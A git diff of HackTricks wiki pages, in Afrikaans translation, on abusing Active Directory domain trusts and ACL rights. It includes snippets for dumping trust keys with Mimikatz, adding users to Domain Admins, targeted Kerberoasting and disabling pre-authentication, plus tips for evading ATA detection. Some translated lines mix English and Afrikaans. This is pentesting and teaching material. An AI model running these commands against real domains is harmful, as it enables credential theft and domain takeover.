+6. DC2 verifieer die inter-realm TGT met sy gedeelde trust key en, as dit geldig is, gee dit 'n **Ticket Granting Service (TGS)** uit vir die bediener in Domain 2 wat die kliënt wil toegang gee.
+7. Uiteindelik bied die kliënt hierdie TGS aan die bediener aan, wat met die bediener se account hash geënkripteer is, om toegang tot die diens in Domain 2 te kry.

 ### Different trusts

-Dit is belangrik om te let dat **'n trust eenrigting of tweerigting kan wees**. In die tweerigting opsie vertrou beide domeine mekaar, maar in 'n **eenrigting** trust is een van die domeine die **trusted** en die ander die **trusting** domein. In laasgenoemde geval sal **jy slegs hulpbronne binne die trusting domein van die trusted domein af kan krap**.
+Dit is belangrik om te let dat **'n trust 1-rigting of 2-rigting kan wees**. In die 2-rigting opsie sal beide domeine mekaar vertrou, maar in die **1-rigting** trustverhouding sal een van die domeine die **vertroude** en die ander die **trusting** domein wees. In laasgenoemde geval kan **jy slegs hulpbronne binne die trusting domein vanaf die trusted een** benader.

-As Domein A Domein B vertrou, is A die trusting domein en B die trusted een. Verder sal dit in **Domein A** as 'n **Outbound trust** verskyn; en in **Domein B** as 'n **Inbound trust**.
+As Domain A Domain B vertrou, is A die trusting domein en B die trusted een. Verder sal dit in **Domain A** as 'n **Outbound trust** verskyn; en in **Domain B** as 'n **Inbound trust**.

-**Verskillende trusting-verhoudings**
+**Verskillende vertrouensverhoudings**

- **Parent-Child Trusts**: 'n Algemene opstelling binne dieselfde forest, waar 'n child domain outomaties 'n tweerigting transitive trust met sy ouer-domein hê. Dit beteken dat verifikasie-versoeke naatloos tussen ouer en kind kan vloei.
- **Cross-link Trusts**: Ook genoem "shortcut trusts", word tussen child domains ingestel om verwysingsprosesse te versnel. In komplekse forests moet verifikasie-verwysings tipies na die boswortel gaan en dan na die teiken-domein af. Cross-links verkort die pad, wat veral in geografies verspreide omgewings nuttig is.
- **External Trusts**: Hierdie word tussen verskillende, unrelated domeine ingestel en is nie-transitief van aard nie. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) is external trusts nuttig om hulpbronne in 'n domein buite die huidige forest te bereik wat nie deur 'n forest trust verbind is nie. Sekuriteit word versterk deur SID-filtering met external trusts.
- **Tree-root Trusts**: Hierdie trusts word outomaties tussen die forest root domain en 'n nuut toegevoegde tree root ingestel. Alhoewel nie gereeld voorgekom nie, is tree-root trusts belangrik vir die byvoeging van nuwe domeinboome tot 'n forest, wat hulle toelaat om 'n unieke domeinnaam te behou en tweerigting-transitiviteit te verseker. Meer inligting is beskikbaar in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Hierdie tipe trust is 'n tweerigting transitive trust tussen twee forest root domeine, en implementeer ook SID-filtering om sekuriteitsmaatreëls te verbeter.
- **MIT Trusts**: Hierdie trusts word met nie-Windows, [RFC4120-kompatible](https://tools.ietf.org/html/rfc4120) Kerberos-domeine ingestel. MIT trusts is meer gespesialiseerd en bedien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem benodig.
+- **Parent-Child Trusts**: Dit is 'n algemene opstelling binne dieselfde forest, waar 'n child domain outomaties 'n tweerigting transitive trust met sy parent domain het. Dit beteken basies dat verifikasievrae naatloos tussen die parent en child kan vloei.
+- **Cross-link Trusts**: Verwys na "shortcut trusts", dit word tussen child domains ingestel om referral-prosesse te versnel. In komplekse forests moet verifikasie-na verwysings tipies tot by die forest root en dan af na die teikendomein reis. Deur cross-links te skep, word die reis verkort, wat veral in geografies verspreide omgewings nuttig is.
+- **External Trusts**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard nie. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) is external trusts nuttig vir toegang tot hulpbronne in 'n domein buite die huidige forest wat nie deur 'n forest trust verbind is nie. Sekuriteit word versterk deur SID filtering met external trusts.
+- **Tree-root Trusts**: Hierdie trusts word outomaties gevestig tussen die forest root domain en 'n nuut-bygevoegde tree root. Alhoewel hulle nie algemeen voorkom nie, is tree-root trusts belangrik vir die toevoeging van nuwe domain trees tot 'n forest, wat hulle toelaat om 'n unieke domeinnaam te behou en twee-weg transitivity te verseker. Meer inligting is beskikbaar in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Hierdie tipe trust is 'n tweerigting transitive trust tussen twee forest root domains, wat ook SID filtering gebruik om sekuriteitsmaatreëls te verbeter.
+- **MIT Trusts**: Hierdie trusts word met nie-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos-domeine gevestig. MIT trusts is meer gespesialiseerd en bedien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem benodig.

-#### Ander verskille in **trusting relationships**
+#### Ander verskille in **vertrouensverhoudings**

- 'n trustverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief**.
- 'n trustverhouding kan gestel word as **bidirectionele trust** (albei vertrou mekaar) of as **eenrigting trust** (slegs een daarvan vertrou die ander).
+- 'n trustverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan vertrou A C) of **nie-transitief**.
+- 'n trustverhouding kan opgestel word as **bidirectional trust** (albei vertrou mekaar) of as **one-way trust** (slegs een vertrou die ander).

 ### Attack Path

 1. **Enumereer** die trusting-verhoudings
-2. Kontroleer of enige **security principal** (user/group/computer) **toegang** tot hulpbronne van die **ander domein** het, moontlik deur ACE-inskrywings of deur lidmaatskap in groepe van die ander domein. Soek na **verhoudings oor domeine** (die trust is waarskynlik daarvoor geskep).
-1. [**Kerberoast**](kerberoast.md) in hierdie geval kan 'n ander opsie wees.
-3. **Kompromitteer** die **rekeninge** wat deur die domeine kan **pivot**.
+2. Kyk of enige **security principal** (user/group/computer) **toegang** het tot hulpbronne van die **ander domein**, dalk deur ACE-inskrywings of deur in groepe van die ander domein te wees. Soek na **verhoudings oor domeine heen** (die trust is waarskynlik hiervoor geskep).
+1. kerberoast in hierdie geval kan 'n ander opsie wees.
+3. **Kompromitteer** die **rekeninge** wat deur domeine kan **pivot**.

-Aanvallers kan deur drie primêre meganismes toegang tot hulpbronne in 'n ander domein kry:
+Aanvallers kan toegang tot hulpbronne in 'n ander domein kry deur drie primêre meganismes:

- **Local Group Membership**: Principals kan bygevoeg word tot plaaslike groepe op masjiene, soos die "Administrators" groep op 'n bediener, wat hulle groot beheer oor daardie masjien gee.
- **Foreign Domain Group Membership**: Principals kan ook lede wees van groepe binne die buitelandse domein. Die doeltreffendheid hiervan hang egter af van die aard van die trust en die omvang van die groep.
- **Access Control Lists (ACLs)**: Principals kan in 'n **ACL** spesifiseer wees, veral as entiteite in **ACEs** binne 'n **DACL**, wat hulle toegang tot spesifieke hulpbronne gee. Vir dieper insig in die meganika van ACLs, DACLs en ACEs, is die whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 'n onskatbare hulpbron.
+- **Local Group Membership**: Principals kan by plaaslike groepe op masjiene gevoeg word, soos die “Administrators” groep op 'n bediener, wat hulle beduidende beheer oor daardie masjien gee.
+- **Foreign Domain Group Membership**: Principals kan ook lede wees van groepe binne die buitedomein. Die doeltreffendheid van hierdie metode hang egter af van die aard van die trust en die omvang van die groep.
+- **Access Control Lists (ACLs)**: Principals kan in 'n **ACL** gespesifiseer wees, veral as entiteite in **ACEs** binne 'n **DACL**, wat hulle toegang tot spesifieke hulpbronne verleen. Vir diegene wat die meganika van ACLs, DACLs, en ACEs dieper wil ondersoek, is die whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 'n waardevolle hulpbron.

 ### Find external users/groups with permissions

-Jy kan kyk by **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** om buitelandse security principals in die domein te vind. Dit sal gebruikers/groepe uit **'n eksterne domein/forest** wees.
+Jy kan **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** nagaan om buite-sekuriteitsbeginsels in die domein te vind. Hierdie sal gebruikers/groepe uit **'n eksterne domein/forest** wees.

-Jy kan dit in **Bloodhound** nagaan of met powerview:
+Jy kan dit in **Bloodhound** of met powerview nagaan:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -624,7 +621,7 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
-Ander maniere om domain trusts te enumereer:
+Ander maniere om domain trusts te enumerate:
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
@ -638,7 +635,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
 > Daar is **2 vertroude sleutels**, een vir _Child --> Parent_ en nog een vir _Parent_ --> _Child_.\
-> Jy kan die een wat deur die huidige domein gebruik word, sien met:
+> Jy kan die een wat deur die huidige domein gebruik word sien met:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -647,7 +644,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Eskaleer as Enterprise admin na die child/parent domein deur die trust met SID-History injection te misbruik:
+Eskaleer as Enterprise admin na die child/parent domain deur die trust te misbruik met SID-History injection:


 {{#ref}}
@ -656,47 +653,47 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Dit is van kardinale belang om te verstaan hoe die Configuration Naming Context (NC) uitgebuit kan word. Die Configuration NC dien as 'n sentrale bewaarplek vir konfigurasiedata oor 'n forest in Active Directory (AD) omgewings. Hierdie data word na elke Domain Controller (DC) binne die forest gerepliseer, met skryfbare DCs wat 'n skryfbare kopie van die Configuration NC onderhou. Om dit te misbruik, moet 'n mens **SYSTEM privileges on a DC**, by voorkeur 'n child DC hê.
+Om te verstaan hoe die Configuration Naming Context (NC) uitgebuit kan word, is van kardinale belang. Die Configuration NC dien as 'n sentrale bewaarplek vir konfigurasiedata oor 'n forest in Active Directory (AD)-omgewings. Hierdie data word na elke Domain Controller (DC) binne die forest gerepliseer, met writable DCs wat 'n writable kopie van die Configuration NC handhaaf. Om dit te misbruik, moet mens **SYSTEM privileges on a DC** hê, by voorkeur op 'n child DC.

 **Link GPO to root DC site**

-Die Sites-behouer van die Configuration NC bevat inligting oor die sites van alle domein-gekoppelde rekenaars binne die AD-forest. Deur met SYSTEM-privileges op enige DC te werk, kan aanvallers GPOs aan die root DC-sites koppel. Hierdie aksie kan die root domain moontlik kompromitteer deur die beleide wat op hierdie sites toegepas word, te manipuleer.
+Die Configuration NC se Sites container sluit inligting in oor alle domain-joined computers se sites binne die AD forest. Deur met SYSTEM privileges op enige DC te werk, kan aanvallers GPOs koppel aan die root DC sites. Hierdie aksie kan potensieel die root domain kompromitteer deur beleid te manipuleer wat op daardie sites toegepas word.

-For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
+Vir diepgaande inligting kan mens navorsing oor [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) ondersoek.

 **Compromise any gMSA in the forest**

-Een aanvalsvector behels die teiken van bevoorregte gMSA's binne die domein. Die KDS Root key, noodsaaklik vir die berekening van gMSA-wagwoorde, word binne die Configuration NC gestoor. Met SYSTEM-privileges op enige DC is dit moontlik om by die KDS Root key uit te kom en die wagwoorde vir enige gMSA oor die hele forest te bereken.
+'n Aanvalsvektor behels die teiken van bevoorregte gMSAs binne die domain. Die KDS Root key, noodsaaklik vir die berekening van gMSAs se wagwoorde, word gestoor binne die Configuration NC. Met SYSTEM privileges op enige DC is dit moontlik om by die KDS Root key uit te kom en die wagwoorde vir enige gMSA oor die forest te bereken.

-Detailed analysis and step-by-step guidance can be found in:
+Gedetailleerde ontleding en stapsgewyse riglyne is te vinde in:


 {{#ref}}
 golden-dmsa-gmsa.md
 {{#endref}}

-Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
+Komplementêre gedelegeerde MSA-aanval (BadSuccessor – abusing migration attributes):


 {{#ref}}
 badsuccessor-dmsa-migration-abuse.md
 {{#endref}}

-Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
+Bykomende eksterne navorsing: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

 **Schema change attack**

-Hierdie metode vereis geduld en die afwagting van die skepping van nuwe bevoorregte AD-objekte. Met SYSTEM-privileges kan 'n aanvaller die AD Schema wysig om enige user volle beheer oor alle klasses te gee. Dit kan lei tot ongemagtigde toegang en beheer oor nuut geskepte AD-objekte.
+Hierdie metode vereis geduld en wag vir die skep van nuwe bevoorregte AD-objekte. Met SYSTEM privileges kan 'n aanvaller die AD Schema wysig om enige gebruiker volledige beheer oor alle klasse te gee. Dit kan lei tot ongemagtigde toegang en beheer oor nuutgeskrewe AD-objekte.

-Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
+Verder leesstof is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-Die ADCS ESC5 kwesbaarheid mik op beheer oor Public Key Infrastructure (PKI) objekte om 'n sertifikaatsjabloon te skep wat verifikasie as enige gebruiker binne die forest moontlik maak. Aangesien PKI-objekte in die Configuration NC woon, stel die kompromittering van 'n skryfbare child DC in staat om ESC5-aanvalle uit te voer.
+Die ADCS ESC5 kwesbaarheid mik op beheer oor Public Key Infrastructure (PKI)-objekte om 'n sertifikaattemplate te skep wat autentisering as enige gebruiker binne die forest moontlik maak. Aangesien PKI-objekte in die Configuration NC woon, maak die kompromittering van 'n writable child DC die uitvoering van ESC5-aanvalle moontlik.

-More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
+Meer besonderhede hieroor is beskikbaar in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenario's sonder ADCS het die aanvaller die vermoë om die nodige komponente op te stel, soos bespreek in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

-### Eksterne Forest Domain - One-Way (Inbound) or bidirectional
+### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
@ -707,14 +704,13 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-In hierdie scenario word **jou domain vertrou** deur 'n eksterne een wat jou **onbepaalde permissions** daaroor gee. Jy moet uitvind **watter principals van jou domain watter toegang tot die eksterne domain het** en dan probeer om dit te exploit:
-
+In hierdie scenario word jou **domain** deur 'n **external** een vertrou, wat jou **onbepaalde permissies** daaroor gee. Jy sal moet uitvind **watter principals van jou domain watter toegang oor die external domain het** en dan probeer om dit uit te buite:

 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Eksterne Forest Domain - Eenrigting (Uitgaand)
+### External Forest Domain - One-Way (Outbound)
 ```bash
 Get-DomainTrust -Domain current.local

@ -726,36 +722,36 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-In hierdie scenario **jou domein** vertrou sekere **privileges** aan 'n prinsipaal van 'n **ander domein**.
+In hierdie scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**.

-Wanneer 'n **domain is trusted** deur die vertrouende domein, skep die vertroude domein egter 'n **user** met 'n **voorspelbare naam** wat as **password die vertroude paswoord** gebruik. Dit beteken dat dit moontlik is om **'n user van die vertrouende domein te benader om die vertroude een binne te gaan** om dit te enumereer en te probeer meer privileges te eskaleer:
+However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Nog 'n manier om die vertroude domein te kompromiteer is om 'n [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) te vind wat in die **omgekeerde rigting** van die domeintrust geskep is (wat nie baie algemeen is nie).
+Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common).

-Nog 'n manier om die vertroude domein te kompromiteer is om in 'n masjien te wag waar 'n **user from the trusted domain can access** om via **RDP** in te log. Dan kan die attacker kode in die RDP session-proses injekteer en **access the origin domain of the victim** van daar af.\
-Verder, as die **victim mounted his hard drive**, kan die attacker vanaf die **RDP session**-proses **backdoors** in die **startup folder of the hard drive** plaas. Hierdie tegniek word **RDPInception** genoem.
+Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
+Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Mitigering van misbruik van domeinvertroue
+### Domain trust abuse mitigation

 ### **SID Filtering:**

- Die risiko van aanvalle wat die SID history-attribuut oor forest trusts benut, word verminder deur SID Filtering, wat standaard geaktiveer is op alle inter-forest trusts. Dit berus op die aanname dat intra-forest trusts veilig is, aangesien die forest eerder as die domain as die sekuriteitsgrens beskou word volgens Microsoft se standpunt.
- Daar is egter 'n vangst: SID filtering kan toepassings en user-toegang ontwrig, wat soms lei tot die deaktivering daarvan.
+- Die risiko van aanvalle wat die SID history attribuut oor inter-forest trusts misbruik, word verminder deur SID Filtering, wat standaard op alle inter-forest trusts geaktiveer is. Dit berus op die aanname dat intra-forest trusts veilig is, en beskou die forest, eerder as die domain, as die veiligheidsgrens volgens Microsoft se standpunt.
+- Daar is egter ’n vangst: SID filtering kan toepassings en gebruikerstoegang ontwrig, wat soms tot deaktivering daarvan lei.

 ### **Selective Authentication:**

- Vir inter-forest trusts verseker die gebruik van Selective Authentication dat users van die twee forests nie outomaties geauthentikeer word nie. In plaas daarvan is eksplisiete toestemmings benodig vir users om toegang tot domeine en bedieners binne die vertrouende domain of forest te kry.
- Dit is belangrik om te let dat hierdie maatreëls nie beskerming bied teen die uitbuiting van die writable Configuration Naming Context (NC) of aanvalle op die trust account nie.
+- Vir inter-forest trusts verseker Selective Authentication dat gebruikers van die twee forests nie outomaties geauthentiseer word nie. In plaas daarvan is eksplisiete toestemmings nodig sodat gebruikers toegang tot domains en servers binne die trusting domain of forest kan kry.
+- Dit is belangrik om op te let dat hierdie maatreëls nie beskerming bied teen die uitbuiting van die writable Configuration Naming Context (NC) of aanvalle op die trust account nie.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -766,33 +762,33 @@ rdp-sessions-abuse.md
 https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
 {{#endref}}

-## Algemene Verdedigings
+## Some General Defenses

 [**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)

 ### **Defensive Measures for Credential Protection**

- **Domain Admins Restrictions**: Dit word aanbeveel dat Domain Admins slegs toegelaat word om op Domain Controllers aan te meld, en dat hul gebruik op ander hosts vermy word.
- **Service Account Privileges**: Dienste moet nie met Domain Admin (DA) privileges uitgevoer word nie om sekuriteit te handhaaf.
- **Temporal Privilege Limitation**: Vir take wat DA privileges vereis, moet die duur daarvan beperk word. Dit kan bereik word met: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Beperkings vir Domain Admins**: Dit word aanbeveel dat Domain Admins slegs op Domain Controllers mag aanmeld, en dat hulle nie op ander hosts gebruik word nie.
+- **Service Account Privileges**: Services moet nie met Domain Admin (DA) voorregte uitgevoer word om sekuriteit te handhaaf nie.
+- **Tydelike beperking van voorregte**: Vir take wat DA-voorregte benodig, moet hul duur beperk word. Dit kan bereik word met: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

 ### **Implementing Deception Techniques**

- Implementering van deception behels die stel van lokvalle, soos decoy users of computers, met kenmerke soos passwords wat nie verval nie of wat as Trusted for Delegation gemerk is. 'n Gedetaileerde benadering sluit in die skep van users met spesifieke regte of om hulle by hoë-privilegie-groepe te voeg.
- 'n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Meer oor die implementering van deception-tegnieke is beskikbaar by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
+- Implementering van misleiding behels die opstel van lokvalle, soos decoy users of computers, met kenmerke soos wagwoorde wat nie verstryk nie of wat as Trusted for Delegation gemerk is. ’n Gedetailleerde benadering sluit die skep van users met spesifieke regte of die toevoeging van hulle tot hoog-privilege groepe in.
+- ’n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
+- Meer oor die ontplooiing van misleidingstegnieke is te vinde by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

 ### **Identifying Deception**

- **For User Objects**: Verdagte aanduidings sluit in atipiese ObjectSID, seldsame aanmeldings, skeppingsdatums, en lae slegte-wagwoord-tellings.
- **General Indicators**: Deur eienskappe van potensiële decoy-objekte met daardie van werklike objekte te vergelyk, kan teenstrydighede onthul word. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke deceptions te identifiseer.
+- **For User Objects**: Verdagte aanwysers sluit abnormale ObjectSID, ongereelde aanmeldings, skeppingsdatums, en lae aantalle slegte wagwoorde in.
+- **General Indicators**: Deur attributte van potensiële decoy-objekte met dié van egte objek te vergelyk kan inkonsekwensies opgespoor word. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleiding te identifiseer.

 ### **Bypassing Detection Systems**

 - **Microsoft ATA Detection Bypass**:
- **User Enumeration**: Vermy sessie-ensomering op Domain Controllers om ATA-detectie te voorkom.
- **Ticket Impersonation**: Die gebruik van **aes** sleutels vir ticket-creation help om detectie te ontduik deur nie na NTLM af te gradeer nie.
- **DCSync Attacks**: Voer dit uit vanaf 'n nie-Domain Controller om ATA-detectie te vermy, aangesien direkte uitvoering vanaf 'n Domain Controller waarskuwings sal veroorsaak.
+- **User Enumeration**: Vermy sessie-enumerasie op Domain Controllers om ATA-detektering te voorkom.
+- **Ticket Impersonation**: Die gebruik van **aes** sleutels vir ticket-creation help om deteksie te ontduik deur nie na NTLM af te gradeer nie.
+- **DCSync Attacks**: Dit word aanbeveel om vanaf ’n nie-Domain Controller uit te voer om ATA-detektering te vermy, aangesien direkte uitvoering vanaf ’n Domain Controller waarskuwings sal veroorsaak.

 ## References

--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -1,8 +1,8 @@
-# Abusing Active Directory ACLs/ACEs
+# Misbruik van Active Directory ACLs/ACEs

 {{#include ../../../banners/hacktricks-training.md}}

-**Hierdie bladsy is hoofsaaklik 'n samevatting van die tegnieke uit** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **en** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Vir meer besonderhede, raadpleeg die oorspronklike artikels.**
+**Hierdie blad is hoofsaaklik 'n opsomming van die tegnieke van** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **en** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Vir meer besonderhede, kyk na die oorspronklike artikels.**

 ## BadSuccessor

@ -13,30 +13,30 @@ BadSuccessor.md

 ## **GenericAll Rights on User**

-Hierdie bevoegdheid verleen 'n aanvaller volle beheer oor 'n teiken-gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl` opdrag, kan 'n aanvaller:
+Hierdie voorreg gee 'n aanvaller volle beheer oor 'n geteikende gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl`-opdrag, kan 'n aanvaller:

- **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
- **Targeted Kerberoasting**: Ken 'n SPN toe aan die gebruiker se rekening om dit kerberoastable te maak, en gebruik dan Rubeus en targetedKerberoast.py om die ticket-granting ticket (TGT) hashes uit te trek en te probeer kraak.
+- **Verander die geteikende gebruiker se wagwoord**: Deur `net user <username> <password> /domain` te gebruik, kan die aanvaller die gebruiker se wagwoord terugstel.
+- **Targeted Kerberoasting**: Ken 'n SPN toe aan die gebruiker se rekening om dit kerberoastable te maak, en gebruik dan Rubeus en targetedKerberoast.py om die ticket-granting ticket (TGT) hashes te onttrek en te probeer kraak.
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Skakel pre-authentication vir die gebruiker af, waardeur hul rekening kwesbaar word vir ASREPRoasting.
+- **Targeted ASREPRoasting**: Skakel pre-authentication uit vir die gebruiker, wat hul rekening kwesbaar maak vir ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
-## **GenericAll regte op Groep**
+## **GenericAll Regte op Groep**

-Hierdie voorreg stel 'n aanvaller in staat om groepslidmaatskappe te manipuleer as hulle `GenericAll` regte op 'n groep soos `Domain Admins` het. Nadat hulle die groep se distinguished name met `Get-NetGroup` geïdentifiseer het, kan die aanvaller:
+Hierdie voorreg stel 'n aanvaller in staat om groepslidmaatskappe te manipuleer as hulle `GenericAll`-regte op 'n groep soos `Domain Admins` het. Nadat hulle die groep se distinguished name met `Get-NetGroup` geïdentifiseer het, kan die aanvaller:

- **Voeg hulself by die `Domain Admins` groep**: Dit kan gedoen word via direkte opdragte of deur modules soos Active Directory of PowerSploit te gebruik.
+- **Voeg hulself by die `Domain Admins`-groep**: Dit kan gedoen word met direkte opdragte of deur modules soos Active Directory of PowerSploit te gebruik.
 ```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Vanaf Linux kan jy ook BloodyAD benut om jouself by arbitrêre groepe te voeg wanneer jy GenericAll/Write membership oor hulle het. As die teikengroep genest is in “Remote Management Users”, sal jy onmiddellik WinRM toegang kry op hosts wat daardie groep eer:
+- Vanaf Linux kan jy ook BloodyAD gebruik om jouself by ewekansige groepe te voeg wanneer jy GenericAll/Write-lidmaatskap oor hulle het. As die teikengroep in “Remote Management Users” genesteer is, sal jy onmiddellik WinRM-toegang kry op hosts wat daardie groep eerbiedig:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Om hierdie voorregte op 'n rekenaarvoorwerp of 'n gebruikersrekening te hê, maak dit moontlik om:
+Om hierdie voorregte op 'n rekenaarobjek of 'n gebruikersrekening te hê, laat toe:

- **Kerberos Resource-based Constrained Delegation**: Maak dit moontlik om 'n rekenaarvoorwerp oor te neem.
+- **Kerberos Resource-based Constrained Delegation**: Laat toe om 'n rekenaarobjek oor te neem.
